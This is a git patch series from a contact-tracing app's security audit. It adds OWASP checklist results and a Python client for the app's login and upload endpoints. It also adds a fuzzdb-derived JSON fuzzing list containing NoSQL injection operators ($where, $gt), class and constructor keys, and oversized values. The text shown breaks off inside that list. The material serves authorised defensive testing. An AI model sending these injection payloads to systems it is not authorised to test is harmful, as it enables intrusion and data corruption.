From f2497df48718233dc1d4af45722231b7a42d6ed1 Mon Sep 17 00:00:00 2001 From: adam Date: Fri, 19 Jun 2020 09:52:27 +0200 Subject: [PATCH 1/6] Added README to provide jira links to security audit --- documents/README_SecurityAudit.md | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 documents/README_SecurityAudit.md diff --git a/documents/README_SecurityAudit.md b/documents/README_SecurityAudit.md new file mode 100644 index 0000000..2b8f375 --- /dev/null +++ b/documents/README_SecurityAudit.md @@ -0,0 +1,7 @@ +This summarises issues referred to in [Security Audit of Place Places Server and Application](Security Audit of Place Places Server and Application.pdf), + +* Sidejacking risk is covered in this jira: https://pathcheck.atlassian.net/browse/PLACES-324 and https://pathcheck.atlassian.net/browse/PLACES-298 +* Local storage here: https://pathcheck.atlassian.net/browse/PLACES-346 +* Content security policy: https://pathcheck.atlassian.net/browse/PLACES-272 and https://pathcheck.atlassian.net/browse/PLACES-339 +* Mitigate cross-site request forgery (CSRF) attacks: https://pathcheck.atlassian.net/browse/PLACES-340 +* Rate limit the login endpoint: https://pathcheck.atlassian.net/browse/PLACES-337 From e1eff11cd09850169c31c966dc3a3108e5861365 Mon Sep 17 00:00:00 2001 From: adam Date: Fri, 19 Jun 2020 20:29:23 +0200 Subject: [PATCH 2/6] Privacy testing WIP --- dynamic_testing/MSTSG_STORAGE.md | 2 +- dynamic_testing/Util.class | Bin 0 -> 949 bytes dynamic_testing/Util.java | 24 ++++++++++++++ principles/1_SecurityImplementation.md | 43 +++++++++++-------------- 4 files changed, 43 insertions(+), 26 deletions(-) create mode 100644 dynamic_testing/Util.class create mode 100644 dynamic_testing/Util.java diff --git a/dynamic_testing/MSTSG_STORAGE.md b/dynamic_testing/MSTSG_STORAGE.md index c469443..7f1e700 100644 --- a/dynamic_testing/MSTSG_STORAGE.md +++ b/dynamic_testing/MSTSG_STORAGE.md @@ -50,7 +50,7 @@ All of the OWASP principles and checks that were static, e.g code review, were c ### Dynamic Review -Secure Database - I wasn't able to gain access to the secure database, but a [process]() has since been identified so this can be conducted in future checks +Secure Database - I wasn't able to gain access to the secure database, but a [process](https://gist.github.com/troach-sf/f257bb7b80e6dddd4f3bade81b7b1410) has since been identified so this can be conducted in future checks Legacy Databases - The RKStorage, logback.db and cordova_bg_geolocation.db SQL lite databases were examined. diff --git a/dynamic_testing/Util.class b/dynamic_testing/Util.class new file mode 100644 index 0000000000000000000000000000000000000000..edb59e9ccf6a9c0dd748346c5088353e35f307c0 GIT binary patch literal 949 zcmZ`%+int36kTUvIxrndZ?syWiuJ-kEiHwX*4hM6;saiimL`S=9bf`eVQ7ZIl*IH! zzr+_`6%%UI^aFhMYfQB6GZ1Ujm`V1Wea^nDwf6r0`^yP{P280sz$L-0K*R{c_`dc^ zi#Ig07JpLS*DE%|$d+Lm_BMknqV9R&fmed8U=#|2yJ#B?22Wi-%vhGzWe`d^31jC9 z?bw!K)@1lF&bv%7h>=o`*P6n#gn)t>%rbhydPZ9uiqESs8x9H%kZ?NWld8X}U?$s{-K{-}w~#i6x3%!}<_V zimGsKfv79d!(< literal 0 HcmV?d00001 diff --git a/dynamic_testing/Util.java b/dynamic_testing/Util.java new file mode 100644 index 0000000..ba531ae --- /dev/null +++ b/dynamic_testing/Util.java @@ -0,0 +1,24 @@ +import java.nio.charset.StandardCharsets; + +public class Util { + + private final static char[] hexArray = "0123456789ABCDEF".toCharArray(); + + //Original source: https://stackoverflow.com/a/9855338/1389357 + public static String bytesToHex(byte[] bytes) { + char[] hexChars = new char[bytes.length * 2]; + for ( int j = 0; j < bytes.length; j++ ) { + int v = bytes[j] & 0xFF; + hexChars[j * 2] = hexArray[v >>> 4]; + hexChars[j * 2 + 1] = hexArray[v & 0x0F]; + } + return new String(hexChars); + } + + public static void main(String args[]){ + byte[] b = args[0].getBytes(StandardCharsets.UTF_8); + System.out.println(Util.bytesToHex(b)); + + } + +} diff --git a/principles/1_SecurityImplementation.md b/principles/1_SecurityImplementation.md index b383fc0..2c1fe87 100644 --- a/principles/1_SecurityImplementation.md +++ b/principles/1_SecurityImplementation.md @@ -90,8 +90,7 @@ necessary privileges needed * Verify that attribute or feature-based access control is used whereby the code checks the user's authorization for a feature/data item rather than just their role. Permissions should still be allocated using roles ![](../images/pass.oos?raw=true) #### 1.5 Input and Output Architectural Requirements -* Verify that input and output requirements clearly define how to handle and process data based on type, content, and applicable laws, regulations, and other -policy compliance +* Verify that input and output requirements clearly define how to handle and process data based on type, content, and applicable laws, regulations, and otherpolicy compliance * Verify that serialization is not used when communicating with untrusted clients. If this is not possible, ensure that adequate integrity controls (and possibly encryption if sensitive data is sent) are enforced to prevent deserialization attacks including object injection * Verify that input validation is enforced on a trusted service layer * Verify that output encoding occurs close to or by the interpreter for which it is intended. @@ -108,7 +107,7 @@ policy compliance * Verify that all sensitive data is identified and classified into protection levels * Verify that all protection levels have an associated set of protection requirements, such as encryption requirements, integrity requirements, retention, privacy and other confidentiality requirements, and that these are applied in the architecture -#### V1.9 Communications Architectural Requirements +#### 1.9 Communications Architectural Requirements * Verify the application encrypts communications between components, particularly when these components are in different containers, systems, sites, or cloud providers * Verify that application components verify the authenticity of each side in a communication link to prevent person-in-the-middle attacks. For example, application components should validate TLS certificates and chains @@ -136,11 +135,9 @@ applications, especially when they are performing sensitive or dangerous actions * Verify the application does not use unsupported, insecure, or deprecated clientside technologies such as NSAPI plugins, Flash, Shockwave, ActiveX, Silverlight, NACL, or client-side Java applets #### 2.10 Service Authentication Requirements -* Verify that integration secrets do not rely on unchanging passwords, such as API keys or shared privileged accounts. -* Verify that if passwords are required, the credentials are not a default account. -* Verify that passwords are stored with sufficient protection to prevent offline recovery attacks, including local system access. -* Verify passwords, integrations with databases and third-party systems, seeds and internal secrets, and API keys are managed securely and not included in the source code or stored within source code repositories. Such storage SHOULD resist offline attacks. The use of a secure software key store (L1), hardware -trusted platform module (TPM), or a hardware security module (L3) is recommended for password storage. +* Verify that integration secrets do not rely on unchanging passwords, such as API keys or shared privileged accounts. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that if passwords are required, the credentials are not a default account. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify passwords, integrations with databases and third-party systems, seeds and internal secrets, and API keys are managed securely and not included in the source code or stored within source code repositories. Such storage SHOULD resist offline attacks. The use of a secure software key store (L1), hardware trusted platform module (TPM), or a hardware security module (L3) is recommended for password storage. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) #### 3.1 Fundamental Session Management Requirements @@ -148,26 +145,23 @@ trusted platform module (TPM), or a hardware security module (L3) is recommended #### 3.2 Session Binding Requirements -* Verify the application generates a new session token on user authentication. -* Verify that session tokens possess at least 64 bits of entropy. -* Verify the application only stores session tokens in the browser using secure methods such as appropriately secured cookies (see section 3.4) or HTML 5 session storage. -* Verify that session token are generated using approved cryptographic algorithms. +* Verify the application generates a new session token on user authentication. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that session tokens possess at least 64 bits of entropy. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify the application only stores session tokens in the browser using secure methods such as appropriately secured cookies (see section 3.4) or HTML 5 session storage. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that session token are generated using approved cryptographic algorithms. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) #### 3.3 Session Logout and Timeout Requirements -* Verify that logout and expiration invalidate the session token, such that the back button or a downstream relying party does not resume an authenticated session, including across relying parties -* If authenticators permit users to remain logged in, verify that re-authentication occurs periodically both when actively used or after an idle period -* Verify that the application terminates all other active sessions after a successful password change, and that this is effective across the application, federated login (if present), and any relying parties. -* Verify that users are able to view and log out of any or all currently active sessions and device -* Verify that users are able to view and log out of any or all currently active sessions and devices. +* Verify that logout and expiration invalidate the session token, such that the back button or a downstream relying party does not resume an authenticated session, including across relying parties. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* If authenticators permit users to remain logged in, verify that re-authentication occurs periodically both when actively used or after an idle period. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that the application terminates all other active sessions after a successful password change, and that this is effective across the application, federated login (if present), and any relying parties. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that users are able to view and log out of any or all currently active sessions and device. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) #### 3.5 Token Based Session Management -* Verify the application does not treat OAuth and refresh tokens — on their own — as the presence of the subscriber and allows users to terminate trust relationships with linked applications. -* Verify the application uses session tokens rather than static API secrets and keys, except with legacy implementations. -* Verify that stateless session tokens use digital signatures, encryption, and other countermeasures to protect against tampering, enveloping, replay, null cipher, and key substitution attacks. +* Verify the application uses session tokens rather than static API secrets and keys, except with legacy implementations. [![PASS](../images/pass.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) +* Verify that stateless session tokens use digital signatures, encryption, and other countermeasures to protect against tampering, enveloping, replay, null cipher, and key substitution attacks. [![FAIL](../images/fail.png?raw=true)](../dynamic_testing/SPL_WebServicesTesting/SPLWebServices.md) #### 3.6 Re-authentication from a Federation or Assertion -* Verify that relying parties specify the maximum authentication time to CSPs and that CSPs re-authenticate the subscriber if they haven't used a -session within that period. +* Verify that relying parties specify the maximum authentication time to CSPs and that CSPs re-authenticate the subscriber if they haven't used a session within that period. * Verify that CSPs inform relying parties of the last authentication event, to allow RPs to determine if they need to re-authenticate the user. #### 3.7 Defenses Against Session Management Exploits @@ -208,9 +202,8 @@ line output encoding. * Verify that the application protects against XPath injection or XML injection attacks. #### 5.4 Memory, String, and Unmanaged Code Requirements -* Verify that the application uses memory-safe string, safer memory copy and -pointer arithmetic to detect or prevent stack, buffer, or heap overflows. ✓ ✓ 120 -* Verify that format strings do not take potentially hostile input, and are constant. ✓ ✓ 134 +* Verify that the application uses memory-safe string, safer memory copy and pointer arithmetic to detect or prevent stack, buffer, or heap overflows. +* Verify that format strings do not take potentially hostile input, and are constant. * Verify that sign, range, and input validation techniques are used to prevent integer overflows. From 0161d36c2168772feb7626098679d099bc39c295 Mon Sep 17 00:00:00 2001 From: adam Date: Mon, 22 Jun 2020 17:27:48 +0200 Subject: [PATCH 3/6] Fuzz testing via JSON of key endpoints --- dynamic_testing/JSONFuzzing/CovidApp.py | 158 ++++++++++++++++++ dynamic_testing/JSONFuzzing/JSONFuzzing.md | 17 ++ dynamic_testing/JSONFuzzing/JSON_Fuzzing.txt | 89 ++++++++++ .../privkit31A-synthetic-REDACTED.json | 1 + dynamic_testing/JSONFuzzing/test_fuzzing.py | 81 +++++++++ dynamic_testing/test_hacking.py | 84 ++++++++++ 6 files changed, 430 insertions(+) create mode 100644 dynamic_testing/JSONFuzzing/CovidApp.py create mode 100644 dynamic_testing/JSONFuzzing/JSONFuzzing.md create mode 100644 dynamic_testing/JSONFuzzing/JSON_Fuzzing.txt create mode 100644 dynamic_testing/JSONFuzzing/privkit31A-synthetic-REDACTED.json create mode 100644 dynamic_testing/JSONFuzzing/test_fuzzing.py create mode 100644 dynamic_testing/test_hacking.py diff --git a/dynamic_testing/JSONFuzzing/CovidApp.py b/dynamic_testing/JSONFuzzing/CovidApp.py new file mode 100644 index 0000000..417f26e --- /dev/null +++ b/dynamic_testing/JSONFuzzing/CovidApp.py @@ -0,0 +1,158 @@ +#!/usr/bin/python3 +import http.client +import json +import time + +class CovidApp(): + token = "" + spl_url = "zeus.safeplaces.extremesolution.com" + pe_url= "hermes.safeplaces.extremesolution.com" + code = 0; + + + def validate_results(self, response): + print("duration" + str(response['duration'])) + assert response['duration'] < 5, "Over time. HTTP status: " + str(response['status']) + print("status" + str(response['status'])) + assert response['status'] in range (200, 299), "Bad HTTP status: " + str(response['status']) + return response + + def validate_results_expect_error(self, response): + print("duration" + str(response['duration'])) + assert response['duration'] < 70 + print("status" + str(response['status'])) + assert response['status'] in (401, 504, 500, 501, 400), "Bad HTTP status: " + str(response['status']) + print("OK response: " + str(response['status'])) + return response + + def authenticated_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache", + 'Authorization': "Bearer " + self.token, + } + + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def authenticated_post_with_payload(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache", + 'Authorization': "Bearer " + self.token, + } + + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def public_unauthenticated_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.pe_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def public_unauthenticated_post_any_result(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.pe_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def spl_login_post(self, endpoint, payload): + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + print("Calling " + endpoint + " payload:" + str(payload) + " headers: " + str(headers)) + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results(result) + + def spl_login_post_expect_error(self, endpoint, payload): + print("Calling: " + str(self.spl_url) + str(endpoint)) + conn = http.client.HTTPSConnection(self.spl_url) + headers = { + 'content-type': "application/json", + 'cache-control': "no-cache" + } + start_time = time.time() + conn.request("POST", endpoint, payload, headers) + result = {} + result['response'] = conn.getresponse() + result['status'] = result['response'].status + result['duration'] = time.time() - start_time + return self.validate_results_expect_error(result) + + def login_as_contact_tracer(self, user, pw): + payload = json.loads("{\"username\": \"" + user + "\", \"password\":\"" + pw + "\"}") + result = self.spl_login_post("/login", json.dumps(payload)) + self.token = json.loads(result['response'].read())['token'] + + def get_an_access_code(self): + result = self.authenticated_post("/access-code", "") + self.code = json.loads(result['response'].read())['accessCode'] + return self.code + + def get_access_code_with_payload(self, payload): + result = self.authenticated_post_with_payload("/access-code", payload) + self.code = json.loads(result['response'].read())['accessCode'] + + def user_consent(self, code): + payload = {} + payload['accessCode'] = self.code + payload['consent'] = True + self.public_unauthenticated_post("/consent", json.dumps(payload) ) + + def upload_data(self, code, json_data): + payload = {} + payload['accessCode'] = self.code + payload['concernPoints'] = json_data + result = self.public_unauthenticated_post("/upload", json.dumps(payload)) + response = result['response'].read() + print("Response: " + response) + return response + + def upload_data_any_result(self, code, json_data): + payload = {} + payload['accessCode'] = self.code + payload['concernPoints'] = json_data + result = self.public_unauthenticated_post_any_result("/upload", json.dumps(payload)) + response = result['response'].read() + print("Response: " + response) + return response diff --git a/dynamic_testing/JSONFuzzing/JSONFuzzing.md b/dynamic_testing/JSONFuzzing/JSONFuzzing.md new file mode 100644 index 0000000..5657d8c --- /dev/null +++ b/dynamic_testing/JSONFuzzing/JSONFuzzing.md @@ -0,0 +1,17 @@ +# OWASP principles in scope +Verify that all input (HTML form fields, REST requests, URL parameters, HTTP headers, cookies, batch files, RSS feeds, etc) is validated using positive validation (whitelisting). + +# Endpoints in scope + +* Safeplaces facing /login endpoint, and endpoint to get a new access-code +* Public endpoint for uploading location data + +# Purpose of test +This test was to provide some assurance that these key endpoints are not vulnerable to JSON injection. Based on a list of known attacks from fuzzdb. + +The tests require pytest, and can be run by adding "test_" to the start of the methods name in test_fuzzing.py. For example, changing "happy_path" to "test_happy_path", then running pytest in this folder, will execute a happy path test. + +# Test results +* The login endpoint was tested to ensure that with any JSON Fuzz example an error response is returned, not a login token +* The access-code endpoint was tested to ensure that if any fuzz example was sent, an access code was still provided (as the POST payload is not used). This test failed as 4xx errors were seen. [See jira.}(https://pathcheck.atlassian.net/browse/PLACES-423?atlOrigin=eyJpIjoiNDNjYmIyMTEwN2Q1NDBlNjg3YWFmZTU4YmM0NjExYWUiLCJwIjoiaiJ9) +* The upload endpoint was tested to ensure that fuzz data was not propogated into the solution. In some instances the data was accepted (2xx response), and I checked in the UI that out of all the posted fuzz examples, only one actually ended up inside the database (and accessible through the UI), and this was simply empty, rather than holding corrupt data diff --git a/dynamic_testing/JSONFuzzing/JSON_Fuzzing.txt b/dynamic_testing/JSONFuzzing/JSON_Fuzzing.txt new file mode 100644 index 0000000..09a7722 --- /dev/null +++ b/dynamic_testing/JSONFuzzing/JSON_Fuzzing.txt @@ -0,0 +1,89 @@ +{} +{"1":"0"} +{"1":0} +{"0":"\x00"} +{"0":[]} +{"0":[1]} +{"0":[1,2]} +{"0":["1","2"]} +{"\x00":"0"} +{"\x00":0} +{"\x00":""} +{"\x00":[]} +{"\x00":[1]} +{"\x00":[1,2]} +{"__class":"null","A":"B"} +{"_class":"null","A":"B"} +{"__className":"null","A":"B"} +{"_className":"null","A":"B"} +{"cls":"null","A":"B"} +{"Cls":"null","A":"B"} +{"class":"null","A":"B"} +{"klass":"null","A":"B"} +{"Class":"null","A":"B"} +{"Klass":"null","A":"B"} +{"__kind":"null","A":"B"} +{"_kind":"null","A":"B"} +{"kind":"null","A":"B"} +{"Kind":"null","A":"B"} +{"__constructor":"null"} +{"_constructor":"null"} +{"constructor":"null"} +{"_id":1} +{"_id":"1"} +{"id":1} +{"id":"1"} +{"uid":1} +{"uid":"1"} +{"_uid":1} +{"_uid":"1"} +{"toString":"while(1);"} +{"toJSON":"while(1);"} +{"length":999999999999} +{"Length":999999999999} +{"count":999999999999} +{"Count":999999999999} +{"length":99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999} +{"valueOf":"while(1);"} +{":test":"1"} +{"$where":"1==1"} +{"$where":"1"} +{"$or":"1==1"} +{"$or":"1"} +{"$gt": ""} +[] +[1,2] +["1",2] +["1","2"] +["\x00"] +["\x00", "\x00"] +[{"1":"0"}] +["1",{"1":"0"}] +[1,{"1":"0"}] +[{"1":"0"},1] +[":test", "1"] +[":\x00", "1"] +["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1